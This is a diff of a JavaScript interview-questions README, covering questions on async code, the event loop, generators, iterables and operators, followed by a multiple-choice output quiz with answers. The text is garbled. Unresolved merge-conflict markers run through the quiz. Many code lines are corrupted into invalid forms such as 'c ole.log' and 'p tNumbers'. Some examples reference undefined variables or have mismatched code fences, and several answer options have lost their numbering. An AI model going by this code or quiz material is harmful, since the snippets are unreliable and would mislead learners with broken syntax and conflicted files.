+379.    How do you disable right click in the web page
+
+        The right click on the page can be disabled by returning false from the `oncontextmenu` attribute on the body element.
+
+        ```html
+        <body oncontextmenu="return false;"></body>
+        ```
+
+380.    What are wrapper objects
+
+        Primitive Values like string,number and boolean don't have properties and methods but they are temporarily converted or coerced to an object(Wrapper object) when you try to perform actions on them. For example, if you apply toUpperCase() method on a primitive string value, it does not throw an error but returns uppercase of the string.
+
+        ```javascript
+        let name = 'john';
+
+        console.log(name.toUpperCase()); // Behind the scenes treated as console.log(new String(name).toUpperCase());
+        ```
+
+        i.e, Every primitive except null and undefined have Wrapper Objects and the list of wrapper objects are String,Number,Boolean,Symbol and BigInt.
+
+381.    What is AJAX
+
+        AJAX stands for Asynchronous JavaScript and XML and it is a group of related technologies(HTML, CSS, JavaScript, XMLHttpRequest API etc) used to display data asynchronously. i.e. We can send data to the server and get data from the server without reloading the web page.
+
+382.    What are the different ways to deal with Asynchronous Code
+
+        Below are the list of different ways to deal with Asynchronous code.
+
+        1. Callbacks
+        2. Promises
+        3. Async/await
+        4. Third-party libraries such as async.js,bluebird etc
+
+383.    How to cancel a fetch request
+
+        Until a few days back, One shortcoming of native promises is no direct way to cancel a fetch request. But the new `AbortController` from js specification allows you to use a signal to abort one or multiple fetch calls.
+        The basic flow of cancelling a fetch request would be as below,
+
+        1. Create an `AbortController` instance
+        2. Get the signal property of an instance and pass the signal as a fetch option for signal
+        3. Call the AbortController's abort property to cancel all fetches that use that signal
+           For example, let's pass the same signal to multiple fetch calls will cancel all requests with that signal,
+
+        ```javascript
+        const controller = new AbortController();
+        const { signal } = controller;
+
+        fetch('http://localhost:8000', { signal })
+            .then((response) => {
+                console.log(`Request 1 is complete!`);
+            })
+            .catch((e) => {
+                if (e.name === 'AbortError') {
+                    // We know it's been canceled!
+                }
+            });
+
+        fetch('http://localhost:8000', { signal })
+            .then((response) => {
+                console.log(`Request 2 is complete!`);
+            })
+            .catch((e) => {
+                if (e.name === 'AbortError') {
+                    // We know it's been canceled!
+                }
+            });
+
+        // Wait 2 seconds to abort both requests
+        setTimeout(() => controller.abort(), 2000);
+        ```
+
+384.    What is web speech API
+
+        Web speech API is used to enable modern browsers recognize and synthesize speech(i.e, voice data into web apps). This API has been introduced by W3C Community in the year 2012. It has two main parts,
+
+        1. **SpeechRecognition (Asynchronous Speech Recognition or Speech-to-Text):** It provides the ability to recognize voice context from an audio input and respond accordingly. This is accessed by the `SpeechRecognition` interface.
+           The below example shows on how to use this API to get text from speech,
+
+        ```javascript
+        window.SpeechRecognition = window.webkitSpeechRecognition || window.SpeechRecognition; // webkitSpeechRecognition for Chrome and SpeechRecognition for FF
+        const recognition = new window.SpeechRecognition();
+        recognition.onresult = (event) => {
+            // SpeechRecognitionEvent type
+            const speechToText = event.results[0][0].transcript;
+            console.log(speechToText);
+        };
+        recognition.start();
+        ```
+
+        In this API, browser is going to ask you for permission to use your microphone
+
+        1. **SpeechSynthesis (Text-to-Speech):** It provides the ability to recognize voice context from an audio input and respond. This is accessed by the `SpeechSynthesis` interface.
+           For example, the below code is used to get voice/speech from text,
+
+        ```javascript
+        if ('speechSynthesis' in window) {
+            var speech = new SpeechSynthesisUtterance('Hello World!');
+            speech.lang = 'en-US';
+            window.speechSynthesis.speak(speech);
+        }
+        ```
+
+        The above examples can be tested on chrome(33+) browser's developer console.
+        **Note:** This API is still a working draft and only available in Chrome and Firefox browsers(ofcourse Chrome only implemented the specification)
+
+385.    What is minimum timeout throttling
+
+        Both browser and NodeJS javascript environments throttles with a minimum delay that is greater than 0ms. That means even though setting a delay of 0ms will not happen instantaneously.
+        **Browsers:** They have a minimum delay of 4ms. This throttle occurs when successive calls are triggered due to callback nesting(certain depth) or after a certain number of successive intervals.
+        Note: The older browsers have a minimum delay of 10ms.
+        **Nodejs:** They have a minimum delay of 1ms. This throttle happens when the delay is larger than 2147483647 or less than 1.
+        The best example to explain this timeout throttling behavior is the order of below code snippet.
+
+        ```javascript
+        function runMeFirst() {
+            console.log('My script is initialized');
+        }
+        setTimeout(runMeFirst, 0);
+        console.log('Script loaded');
+        ```
+
+        and the output would be in
+
+        ```console
+        Script loaded
+        My script is initialized
+        ```
+
+        If you don't use `setTimeout`, the order of logs will be sequential.
+
+        ```javascript
+        function runMeFirst() {
+            console.log('My script is initialized');
+        }
+        runMeFirst();
+        console.log('Script loaded');
+        ```
+
+        and the output is,
+
+        ```console
+        My script is initialized
+        Script loaded
+        ```
+
+386.    How do you implement zero timeout in modern browsers
+
+        You can't use setTimeout(fn, 0) to execute the code immediately due to minimum delay of greater than 0ms. But you can use window.postMessage() to achieve this behavior.
+
+387.    What are tasks in event loop
+
+        A task is any javascript code/program which is scheduled to be run by the standard mechanisms such as initially starting to run a program, run an event callback, or an interval or timeout being fired. All these tasks are scheduled on a task queue.
+        Below are the list of use cases to add tasks to the task queue,
+
+        1. When a new javascript program is executed directly from console or running by the `<script>` element, the task will be added to the task queue.
+        2. When an event fires, the event callback added to task queue
+        3. When a setTimeout or setInterval is reached, the corresponding callback added to task queue
+
+388.    What is microtask
+
+        Microtask is the javascript code which needs to be executed immediately after the currently executing task/microtask is completed. They are kind of blocking in nature. i.e, The main thread will be blocked until the microtask queue is empty.
+        The main sources of microtasks are Promise.resolve, Promise.reject, MutationObservers, IntersectionObservers etc
+
+        **Note:** All of these microtasks are processed in the same turn of the event loop.
+
+389.    What are different event loops
+
+390.    What is the purpose of queueMicrotask
+
+391.    How do you use javascript libraries in typescript file
+
+        It is known that not all JavaScript libraries or frameworks have TypeScript declaration files. But if you still want to use libraries or frameworks in our TypeScript files without getting compilation errors, the only solution is `declare` keyword along with a variable declaration. For example, let's imagine you have a library called `customLibrary` that doesn't have a TypeScript declaration and have a namespace called `customLibrary` in the global namespace. You can use this library in typescript code as below,
+
+        ```javascript
+        declare var customLibrary;
+        ```
+
+        In the runtime, typescript will provide the type to the `customLibrary` variable as `any` type. The another alternative without using declare keyword is below
+
+        ```javascript
+        var customLibrary: any;
+        ```
+
+392.    What are the differences between promises and observables
+
+        Some of the major difference in a tabular form
+
+        | Promises                                                           | Observables                                                                              |
+        | ------------------------------------------------------------------ | ---------------------------------------------------------------------------------------- |
+        | Emits only a single value at a time                                | Emits multiple values over a period of time(stream of values ranging from 0 to multiple) |
+        | Eager in nature; they are going to be called immediately           | Lazy in nature; they require subscription to be invoked                                  |
+        | Promise is always asynchronous even though it resolved immediately | Observable can be either synchronous or asynchronous                                     |
+        | Doesn't provide any operators                                      | Provides operators such as map, forEach, filter, reduce, retry, and retryWhen etc        |
+        | Cannot be canceled                                                 | Canceled by using unsubscribe() method                                                   |
+
+393.    What is heap
+
+        Heap(Or memory heap) is the memory location where objects are stored when we define variables. i.e, This is the place where all the memory allocations and de-allocation take place. Both heap and call-stack are two containers of JS runtime.
+        Whenever runtime comes across variables and function declarations in the code it stores them in the Heap.
+
+        ![Screenshot](images/heap.png)
+
+394.    What is an event table
+
+        Event Table is a data structure that stores and keeps track of all the events which will be executed asynchronously like after some time interval or after the resolution of some API requests. i.e Whenever you call a setTimeout function or invoke async operation, it is added to the Event Table.
+        It doesn't not execute functions on it's own. The main purpose of the event table is to keep track of events and send them to the Event Queue as shown in the below diagram.
+
+        ![Screenshot](images/event-table.png)
+
+395.    What is a microTask queue
+
+        Microtask Queue is the new queue where all the tasks initiated by promise objects get processed before the callback queue.
+        The microtasks queue are processed before the next rendering and painting jobs. But if these microtasks are running for a long time then it leads to visual degradation.
+
+396.    What is the difference between shim and polyfill
+
+        A shim is a library that brings a new API to an older environment, using only the means of that environment. It isn't necessarily restricted to a web application. For example, es5-shim.js is used to emulate ES5 features on older browsers (mainly pre IE9).
+        Whereas polyfill is a piece of code (or plugin) that provides the technology that you, the developer, expect the browser to provide natively.
+        In a simple sentence, A polyfill is a shim for a browser API.
+
+397.    How do you detect primitive or non primitive value type
+
+        In JavaScript, primitive types include boolean, string, number, BigInt, null, Symbol and undefined. Whereas non-primitive types include the Objects. But you can easily identify them with the below function,
+
+        ```javascript
+        var myPrimitive = 30;
+        var myNonPrimitive = {};
+        function isPrimitive(val) {
+            return Object(val) !== val;
+        }
+
+        isPrimitive(myPrimitive);
+        isPrimitive(myNonPrimitive);
+        ```
+
+        If the value is a primitive data type, the Object constructor creates a new wrapper object for the value. But If the value is a non-primitive data type (an object), the Object constructor will give the same object.
+
+398.    What is babel
+
+        Babel is a JavaScript transpiler to convert ECMAScript 2015+ code into a backwards compatible version of JavaScript in current and older browsers or environments. Some of the main features are listed below,
+
+        1. Transform syntax
+        2. Polyfill features that are missing in your target environment (using @babel/polyfill)
+        3. Source code transformations (or codemods)
+
+399.    Is Node.js completely single threaded
+
+        Node is a single thread, but some of the functions included in the Node.js standard library(e.g, fs module functions) are not single threaded. i.e, Their logic runs outside of the Node.js single thread to improve the speed and performance of a program.
+
+400.    What are the common use cases of observables
+
+        Some of the most common use cases of observables are web sockets with push notifications, user input changes, repeating intervals, etc
+
+401.    What is RxJS
+
+        RxJS (Reactive Extensions for JavaScript) is a library for implementing reactive programming using observables that makes it easier to compose asynchronous or callback-based code. It also provides utility functions for creating and working with observables.
+
+402.    What is the difference between Function constructor and function declaration
+
+        The functions which are created with `Function constructor` do not create closures to their creation contexts but they are always created in the global scope. i.e, the function can access its own local variables and global scope variables only. Whereas function declarations can access outer function variables(closures) too.
+
+        Let's see this difference with an example,
+
+        **Function Constructor:**
+
+        ```javascript
+        var a = 100;
+        function createFunction() {
+            var a = 200;
+            return new Function('return a;');
+        }
+        console.log(createFunction()()); // 100
+        ```
+
+        **Function declaration:**
+
+        ```javascript
+        var a = 100;
+        function createFunction() {
+            var a = 200;
+            return function func() {
+                return a;
+            };
+        }
+        console.log(createFunction()()); // 200
+        ```
+
+403.    What is a Short circuit condition
+
+        Short circuit conditions are meant for condensed way of writing simple if statements. Let's demonstrate the scenario using an example. If you would like to login to a portal with an authentication condition, the expression would be as below,
+
+        ```javascript
+        if (authenticate) {
+            loginToPorta();
+        }
+        ```
+
+        Since the javascript logical operators evaluated from left to right, the above expression can be simplified using && logical operator
+
+        ```javascript
+        authenticate && loginToPorta();
+        ```
+
+404.    What is the easiest way to resize an array
+
+        The length property of an array is useful to resize or empty an array quickly. Let's apply length property on number array to resize the number of elements from 5 to 2,
+
+        ```javascript
+        var array = [1, 2, 3, 4, 5];
+        console.log(array.length); // 5
+
+        array.length = 2;
+        console.log(array.length); // 2
+        console.log(array); // [1,2]
+        ```
+
+        and the array can be emptied too
+
+        ```javascript
+        var array = [1, 2, 3, 4, 5];
+        array.length = 0;
+        console.log(array.length); // 0
+        console.log(array); // []
+        ```
+
+405.    What is an observable
+
+        An Observable is basically a function that can return a stream of values either synchronously or asynchronously to an observer over time. The consumer can get the value by calling `subscribe()` method.
+        Let's look at a simple example of an Observable
+
+        ```javascript
+        import { Observable } from 'rxjs';
+
+        const observable = new Observable((observer) => {
+            setTimeout(() => {
+                observer.next('Message from a Observable!');
+            }, 3000);
+        });
+
+        observable.subscribe((value) => console.log(value));
+        ```
+
+        ![Screenshot](images/observables.png)
+
+        **Note:** Observables are not part of the JavaScript language yet but they are being proposed to be added to the language
+
+406.    What is the difference between function and class declarations
+
+        The main difference between function declarations and class declarations is `hoisting`. The function declarations are hoisted but not class declarations.
+
+        **Classes:**
+
+        ```javascript
+        const user = new User(); // ReferenceError
+
+        class User {}
+        ```
+
+        **Constructor Function:**
+
+        ```javascript
+        const user = new User(); // No error
+
+        function User() {}
+        ```
+
+407.    What is an async function
+
+        An async function is a function declared with the `async` keyword which enables asynchronous, promise-based behavior to be written in a cleaner style by avoiding promise chains. These functions can contain zero or more `await` expressions.
+
+        Let's take a below async function example,
+
+        ```javascript
+        async function logger() {
+            let data = await fetch('http://someapi.com/users'); // pause until fetch returns
+            console.log(data);
+        }
+        logger();
+        ```
+
+        It is basically syntax sugar over ES2015 promises and generators.
+
+408.    How do you prevent promises swallowing errors
+
+        While using asynchronous code, JavaScript's ES6 promises can make your life a lot easier without having callback pyramids and error handling on every second line. But Promises have some pitfalls and the biggest one is swallowing errors by default.
+
+        Let's say you expect to print an error to the console for all the below cases,
+
+        ```javascript
+        Promise.resolve('promised value').then(function () {
+            throw new Error('error');
+        });
+
+        Promise.reject('error value').catch(function () {
+            throw new Error('error');
+        });
+
+        new Promise(function (resolve, reject) {
+            throw new Error('error');
+        });
+        ```
+
+        But there are many modern JavaScript environments that won't print any errors. You can fix this problem in different ways,
+
+        1. **Add catch block at the end of each chain:** You can add catch block to the end of each of your promise chains
+
+            ```javascript
+            Promise.resolve('promised value')
+                .then(function () {
+                    throw new Error('error');
+                })
+                .catch(function (error) {
+                    console.error(error.stack);
+                });
+            ```
+
+            But it is quite difficult to type for each promise chain and verbose too.
+
+        2. **Add done method:** You can replace first solution's then and catch blocks with done method
+
+            ```javascript
+            Promise.resolve('promised value').done(function () {
+                throw new Error('error');
+            });
+            ```
+
+            Let's say you want to fetch data using HTTP and later perform processing on the resulting data asynchronously. You can write `done` block as below,
+
+            ```javascript
+            getDataFromHttp()
+                .then(function (result) {
+                    return processDataAsync(result);
+                })
+                .done(function (processed) {
+                    displayData(processed);
+                });
+            ```
+
+            In future, if the processing library API changed to synchronous then you can remove `done` block as below,
+
+            ```javascript
+            getDataFromHttp().then(function (result) {
+                return displayData(processDataAsync(result));
+            });
+            ```
+
+            and then you forgot to add `done` block to `then` block leads to silent errors.
+
+        3. **Extend ES6 Promises by Bluebird:**
+           Bluebird extends the ES6 Promises API to avoid the issue in the second solution. This library has a "default" onRejection handler which will print all errors from rejected Promises to stderr. After installation, you can process unhandled rejections
+
+            ```javascript
+            Promise.onPossiblyUnhandledRejection(function (error) {
+                throw error;
+            });
+            ```
+
+            and discard a rejection, just handle it with an empty catch
+
+            ```javascript
+            Promise.reject('error value').catch(function () {});
+            ```
+
+409.    What is deno
+
+        Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 JavaScript engine and the Rust programming language.
+
+410.    How do you make an object iterable in javascript
+
+        By default, plain objects are not iterable. But you can make the object iterable by defining a `Symbol.iterator` property on it.
+
+        Let's demonstrate this with an example,
+
+        ```javascript
+        const collection = {
+            one: 1,
+            two: 2,
+            three: 3,
+            [Symbol.iterator]() {
+                const values = Object.keys(this);
+                let i = 0;
+                return {
+                    next: () => {
+                        return {
+                            value: this[values[i++]],
+                            done: i > values.length
+                        };
+                    }
+                };
+            }
+        };
+
+        const iterator = collection[Symbol.iterator]();
+
+        console.log(iterator.next()); // → {value: 1, done: false}
+        console.log(iterator.next()); // → {value: 2, done: false}
+        console.log(iterator.next()); // → {value: 3, done: false}
+        console.log(iterator.next()); // → {value: undefined, done: true}
+        ```
+
+        The above process can be simplified using a generator function,
+
+        ```javascript
+        const collection = {
+            one: 1,
+            two: 2,
+            three: 3,
+            [Symbol.iterator]: function* () {
+                for (let key in this) {
+                    yield this[key];
+                }
+            }
+        };
+        const iterator = collection[Symbol.iterator]();
+        console.log(iterator.next()); // {value: 1, done: false}
+        console.log(iterator.next()); // {value: 2, done: false}
+        console.log(iterator.next()); // {value: 3, done: false}
+        console.log(iterator.next()); // {value: undefined, done: true}
+        ```
+
+411.    What is a Proper Tail Call
+
+        First, we should know about tail call before talking about "Proper Tail Call". A tail call is a subroutine or function call performed as the final action of a calling function. Whereas **Proper tail call(PTC)** is a technique where the program or code will not create additional stack frames for a recursion when the function call is a tail call.
+
+        For example, the below classic or head recursion of factorial function relies on stack for each step. Each step need to be processed upto `n * factorial(n - 1)`
+
+        ```javascript
+        function factorial(n) {
+            if (n === 0) {
+                return 1;
+            }
+            return n * factorial(n - 1);
+        }
+        console.log(factorial(5)); //120
+        ```
+
+        But if you use Tail recursion functions, they keep passing all the necessary data it needs down the recursion without relying on the stack.
+
+        ```javascript
+        function factorial(n, acc = 1) {
+            if (n === 0) {
+                return acc;
+            }
+            return factorial(n - 1, n * acc);
+        }
+        console.log(factorial(5)); //120
+        ```
+
+        The above pattern returns the same output as the first one. But the accumulator keeps track of total as an argument without using stack memory on recursive calls.
+
+412.    How do you check an object is a promise or not
+
+        If you don't know if a value is a promise or not, wrapping the value as `Promise.resolve(value)` which returns a promise
+
+        ```javascript
+        function isPromise(object) {
+            if (Promise && Promise.resolve) {
+                return Promise.resolve(object) == object;
+            } else {
+                throw 'Promise not supported in your environment';
+            }
+        }
+
+        var i = 1;
+        var promise = new Promise(function (resolve, reject) {
+            resolve();
+        });
+
+        console.log(isPromise(i)); // false
+        console.log(isPromise(p)); // true
+        ```
+
+        Another way is to check for `.then()` handler type
+
+        ```javascript
+        function isPromise(value) {
+            return Boolean(value && typeof value.then === 'function');
+        }
+        var i = 1;
+        var promise = new Promise(function (resolve, reject) {
+            resolve();
+        });
+
+        console.log(isPromise(i)); // false
+        console.log(isPromise(promise)); // true
+        ```
+
+413.    How to detect if a function is called as constructor
+
+        You can use `new.target` pseudo-property to detect whether a function was called as a constructor(using the new operator) or as a regular function call.
+
+        1. If a constructor or function invoked using the new operator, new.target returns a reference to the constructor or function.
+        2. For function calls, new.target is undefined.
+
+        ```javascript
+        function Myfunc() {
+           if (new.target) {
+              console.log('called with new');
+           } else {
+              console.log('not called with new');
+           }
+        }
+
+        new Myfunc(); // called with new
+        Myfunc(); // not called with new
+        Myfunc.call({}); not called with new
+        ```
+
+414.    What are the differences between arguments object and rest parameter
+
+        There are three main differences between arguments object and rest parameters
+
+        1. The arguments object is an array-like but not an array. Whereas the rest parameters are array instances.
+        2. The arguments object does not support methods such as sort, map, forEach, or pop. Whereas these methods can be used in rest parameters.
+        3. The rest parameters are only the ones that haven't been given a separate name, while the arguments object contains all arguments passed to the function
+
+415.    What are the differences between spread operator and rest parameter
+
+        Rest parameter collects all remaining elements into an array. Whereas Spread operator allows iterables( arrays / objects / strings ) to be expanded into single arguments/elements. i.e, Rest parameter is opposite to the spread operator.
+
+416.    What are the different kinds of generators
+
+        There are five kinds of generators,
+
+        1. **Generator function declaration:**
+
+            ```javascript
+            function* myGenFunc() {
+                yield 1;
+                yield 2;
+                yield 3;
+            }
+            const genObj = myGenFunc();
+            ```
+
+        2. **Generator function expressions:**
+
+            ```javascript
+            const myGenFunc = function* () {
+                yield 1;
+                yield 2;
+                yield 3;
+            };
+            const genObj = myGenFunc();
+            ```
+
+        3. **Generator method definitions in object literals:**
+
+            ```javascript
+            const myObj = {
+                *myGeneratorMethod() {
+                    yield 1;
+                    yield 2;
+                    yield 3;
+                }
+            };
+            const genObj = myObj.myGeneratorMethod();
+            ```
+
+        4. **Generator method definitions in class:**
+
+            ```javascript
+            class MyClass {
+                *myGeneratorMethod() {
+                    yield 1;
+                    yield 2;
+                    yield 3;
+                }
+            }
+            const myObject = new MyClass();
+            const genObj = myObject.myGeneratorMethod();
+            ```
+
+        5. **Generator as a computed property:**
+
+            ```javascript
+            const SomeObj = {
+                *[Symbol.iterator]() {
+                    yield 1;
+                    yield 2;
+                    yield 3;
+                }
+            };
+
+            console.log(Array.from(SomeObj)); // [ 1, 2, 3 ]
+            ```
+
+417.    What are the built-in iterables
+
+        Below are the list of built-in iterables in javascript,
+
+        1. Arrays and TypedArrays
+        2. Strings: Iterate over each character or Unicode code-points
+        3. Maps: iterate over its key-value pairs
+        4. Sets: iterates over their elements
+        5. arguments: An array-like special variable in functions
+        6. DOM collection such as NodeList
+
+418.    What are the differences between for...of and for...in statements
+
+        Both for...in and for...of statements iterate over js data structures. The only difference is over what they iterate:
+
+        1. for..in iterates over all enumerable property keys of an object
+        2. for..of iterates over the values of an iterable object.
+
+        Let's explain this difference with an example,
+
+        ```javascript
+        let arr = ['a', 'b', 'c'];
+
+        arr.newProp = 'newVlue';
+
+        // key are the property keys
+        for (let key in arr) {
+            console.log(key);
+        }
+
+        // value are the property values
+        for (let value of arr) {
+            console.log(value);
+        }
+        ```
+
+        Since for..in loop iterates over the keys of the object, the first loop logs 0, 1, 2 and newProp while iterating over the array object. The for..of loop iterates over the values of a arr data structure and logs a, b, c in the console.
+
+419.    How do you define instance and non-instance properties
+
+        The Instance properties must be defined inside of class methods. For example, name and age properties defined insider constructor as below,
+
+        ```javascript
+        class Person {
+            constructor(name, age) {
+                this.name = name;
+                this.age = age;
+            }
+        }
+        ```
+
+        But Static(class) and prototype data properties must be defined outside of the ClassBody declaration. Let's assign the age value for Person class as below,
+
+        ```javascript
+        Person.staticAge = 30;
+        Person.prototype.prototypeAge = 40;
+        ```
+
+420.    What is the difference between isNaN and Number.isNaN?
+
+        1. **isNaN**: The global function `isNaN` converts the argument to a Number and returns true if the resulting value is NaN.
+        2. **Number.isNaN**: This method does not convert the argument. But it returns true when the type is a Number and value is NaN.
+
+        Let's see the difference with an example,
+
+        ```javascript
+        isNaN('hello'); // true
+        Number.isNaN('hello'); // false
+        ```
+
+421.    How to invoke an IIFE without any extra brackets?
+
+             Immediately Invoked Function Expressions(IIFE) requires a pair of parenthesis to wrap the function which contains set of statements.
+
+             ```js
+
+        //
+        (function (dt) {
+        console.log(dt.toLocaleTimeString());
+        })(new Date());
+
+        ````
+
+             Since both IIFE and void operator discard the result of an expression, you can avoid the extra brackets using `void operator` for IIFE as below,
+
+             ```js
+
+        //
+        void (function (dt) {
+        console.log(dt.toLocaleTimeString());
+        })(new Date());
+        ````
+
+422.    Is that possible to use expressions in switch cases?
+
+             You might have seen expressions used in switch condition but it is also possible to use for switch cases by assigning true value for the switch condition. Let's see the weather condition based on temparature as an example,
+
+             ```js
+
+        //
+        const weather = (function getWeather(temp) {
+        switch (true) {
+        case temp < 0:
+        return 'freezing';
+        case temp < 10:
+        return 'cold';
+        case temp < 24:
+        return 'cool';
+        default:
+        return 'unknown';
+        }
+
+             })(10);
+             ```
+
+423.    What is the easiest way to ignore promise errors?
+
+             The easiest and safest way to ignore promise errors is void that error. This approach is ESLint friendly too.
+
+             ```js
+
+        //
+        await promise.catch((e) => void e);
+
+        ```
+
+        ```
+
+424.    How do style the console output using CSS?
+
+             You can add CSS styling to the console output using the CSS format content specifier %c. The console string message can be appended after the specifier and CSS style in another argument. Let's print the red the color text using console.log and CSS specifier as below,
+
+             ```js
+
+        //
+        console.log('%cThis is a red text', 'color:red');
+
+        ````
+
+             It is also possible to add more styles for the content. For example, the font-size can be modified for the above text
+
+             ```js
+
+        //
+        console.log('%cThis is a red text with bigger font', 'color:red; font-size:20px');
+        ````
+
+425.    What is nullish coalescing operator (??)?
+
+             It is a logical operator that returns its right-hand side operand when its left-hand side operand is null or undefined, and otherwise returns its left-hand side operand. This can be contrasted with the logical OR (||) operator, which returns the right-hand side operand if the left operand is any falsy value, not only null or undefined.
+
+             ```js
+
+        //
+        console.log(null ?? true); // true
+        console.log(false ?? true); // false
+        console.log(undefined ?? true); // true
+
+        ```
+
+        ```
+>>>>>>> master
 
 ### Coding Exercise
 
 #### 1. What is the output of below code
 
+<<<<<<< HEAD
 ```javascript
+=======
+````javascript
+>>>>>>> master
 var car = new Vehicle('Honda', 'white', '2010', 'UK');
 console.log(car);
 
@@ -6164,12 +10519,21 @@ function foo() {
 }
 
 c ole.log(foo(), typeof x, typeof y);
+<<<<<<< HEAD
 ```
 
 -  1, undefined and undefined
 - 2: ReferenceError: X is not defined
 - 3: 1, undefined and number
 - 4: 1, number and number
+=======
+````
+
+-   1, undefined and undefined
+-   2: ReferenceError: X is not defined
+-   3: 1, undefined and number
+-   4: 1, number and number
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6201,6 +10565,7 @@ function main() {
     }, 0);
     console.log('C');
 }
+<<<<<<< HEAD
 m ();
 ```
 
@@ -6208,6 +10573,15 @@ m ();
 - 2: B, A and C
 - 3: A and C
 - 4: A, C and B
+=======
+m();
+```
+
+-   A, B and C
+-   2: B, A and C
+-   3: A and C
+-   4: A, C and B
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6236,8 +10610,13 @@ The statements order is based on the event loop mechanism. The order of statemen
 c ole.log(0.1 + 0.2 === 0.3);
 ```
 
+<<<<<<< HEAD
 - 1: false
 - 2: true
+=======
+-   1: false
+-   2: true
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6262,10 +10641,17 @@ if (function f() {}) {
 c ole.log(y);
 ```
 
+<<<<<<< HEAD
 -  1function
 - 2: 1object
 - 3: ReferenceError
 - 4: 1undefined
+=======
+-   1function
+-   2: 1object
+-   3: ReferenceError
+-   4: 1undefined
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6306,10 +10692,17 @@ function foo() {
 c ole.log(foo());
 ```
 
+<<<<<<< HEAD
 -  Hello World
 - 2: Object {message: "Hello World"}
 - 3: Undefined
 - 4: SyntaxError
+=======
+-   Hello World
+-   2: Object {message: "Hello World"}
+-   3: Undefined
+-   4: SyntaxError
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6344,10 +10737,17 @@ console.log(myChars[0]);
 c ole.log(myChars.length);
 ```
 
+<<<<<<< HEAD
 -  [empty, 'b', 'c', 'd'], empty, 3
 - 2: [null, 'b', 'c', 'd'], empty, 3
 - 3: [empty, 'b', 'c', 'd'], undefined, 4
 - 4: [null, 'b', 'c', 'd'], undefined, 4
+=======
+-   [empty, 'b', 'c', 'd'], empty, 3
+-   2: [null, 'b', 'c', 'd'], empty, 3
+-   3: [empty, 'b', 'c', 'd'], undefined, 4
+-   4: [null, 'b', 'c', 'd'], undefined, 4
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6376,10 +10776,17 @@ var array3 = [, , ,];
 c ole.log(array3);
 ```
 
+<<<<<<< HEAD
 -  [undefined × 3], [undefined × 2, 100], [undefined × 3]
 - 2: [empty × 3], [empty × 2, 100], [empty × 3]
 - 3: [null × 3], [null × 2, 100], [null × 3]
 - 4: [], [100], []
+=======
+-   [undefined × 3], [undefined × 2, 100], [undefined × 3]
+-   2: [empty × 3], [empty × 2, 100], [empty × 3]
+-   3: [null × 3], [null × 2, 100], [null × 3]
+-   4: [], [100], []
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6414,10 +10821,17 @@ console.log(obj.prop2());
 c ole.log(obj.prop3());
 ```
 
+<<<<<<< HEAD
 -  0, 1, 2
 - 2: 0, { return 1 }, 2
 - 3: 0, { return 1 }, { return 2 }
 - 4: 0, 1, undefined
+=======
+-   0, 1, 2
+-   2: 0, { return 1 }, 2
+-   3: 0, { return 1 }, { return 2 }
+-   4: 0, 1, undefined
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6438,10 +10852,17 @@ console.log(1 < 2 < 3);
 c ole.log(3 > 2 > 1);
 ```
 
+<<<<<<< HEAD
 -  true, true
 - 2: true, false
 - 3: SyntaxError, SyntaxError,
 - 4: false, false
+=======
+-   true, true
+-   2: true, false
+-   3: SyntaxError, SyntaxError,
+-   4: false, false
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6477,10 +10898,17 @@ function printNumbers(first, second, first) {
 p tNumbers(1, 2, 3);
 ```
 
+<<<<<<< HEAD
 -  1, 2, 3
 - 2: 3, 2, 3
 - 3: SyntaxError: Duplicate parameter name not allowed in this context
 - 4: 1, 2, 1
+=======
+-   1, 2, 3
+-   2: 3, 2, 3
+-   3: SyntaxError: Duplicate parameter name not allowed in this context
+-   4: 1, 2, 1
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6506,10 +10934,17 @@ const printNumbersArrow = (first, second, first) => {
 p tNumbersArrow(1, 2, 3);
 ```
 
+<<<<<<< HEAD
 -  1, 2, 3
 - 2: 3, 2, 3
 - 3: SyntaxError: Duplicate parameter name not allowed in this context
 - 4: 1, 2, 1
+=======
+-   1, 2, 3
+-   2: 3, 2, 3
+-   3: SyntaxError: Duplicate parameter name not allowed in this context
+-   4: 1, 2, 1
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6530,10 +10965,17 @@ const arrowFunc = () => arguments.length;
 c ole.log(arrowFunc(1, 2, 3));
 ```
 
+<<<<<<< HEAD
 -  ReferenceError: arguments is not defined
 - 2: 3
 - 3: undefined
 - 4: null
+=======
+-   ReferenceError: arguments is not defined
+-   2: 3
+-   3: undefined
+-   4: null
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6570,8 +11012,13 @@ console.log(String.prototype.trimLeft.name === 'trimLeft');
 c ole.log(String.prototype.trimLeft.name === 'trimStart');
 ```
 
+<<<<<<< HEAD
 - 1: True, False
 - 2: False, True
+=======
+-   1: True, False
+-   2: False, True
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6591,10 +11038,17 @@ In order to be consistent with functions like `String.prototype.padStart`, the s
 c ole.log(Math.max());
 ```
 
+<<<<<<< HEAD
 -  undefined
 - 2: Infinity
 - 3: 0
 - 4: -Infinity
+=======
+-   undefined
+-   2: Infinity
+-   3: 0
+-   4: -Infinity
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6616,10 +11070,17 @@ console.log(10 == [10]);
 c ole.log(10 == [[[[[[[10]]]]]]]);
 ```
 
+<<<<<<< HEAD
 -  True, True
 - 2: True, False
 - 3: False, False
 - 4: False, True
+=======
+-   True, True
+-   2: True, False
+-   3: False, False
+-   4: False, True
+>>>>>>> master
 
 <details><summary><b>Answer</b></summary>
 <p>
@@ -6646,10 +11107,17 @@ console.log(10 + '10');
 c ole.log(10 - '10');
 ```
 
+<<<<<<< HEAD
 -  20, 0
 - 2: 1010, 0
 - 3: 1010, 10-10
 - 4: NaN, NaN
+=======
+-   20, 0
+-   2: 1010, 0
+-   3: 1010, 10-10
+-   4: NaN, NaN
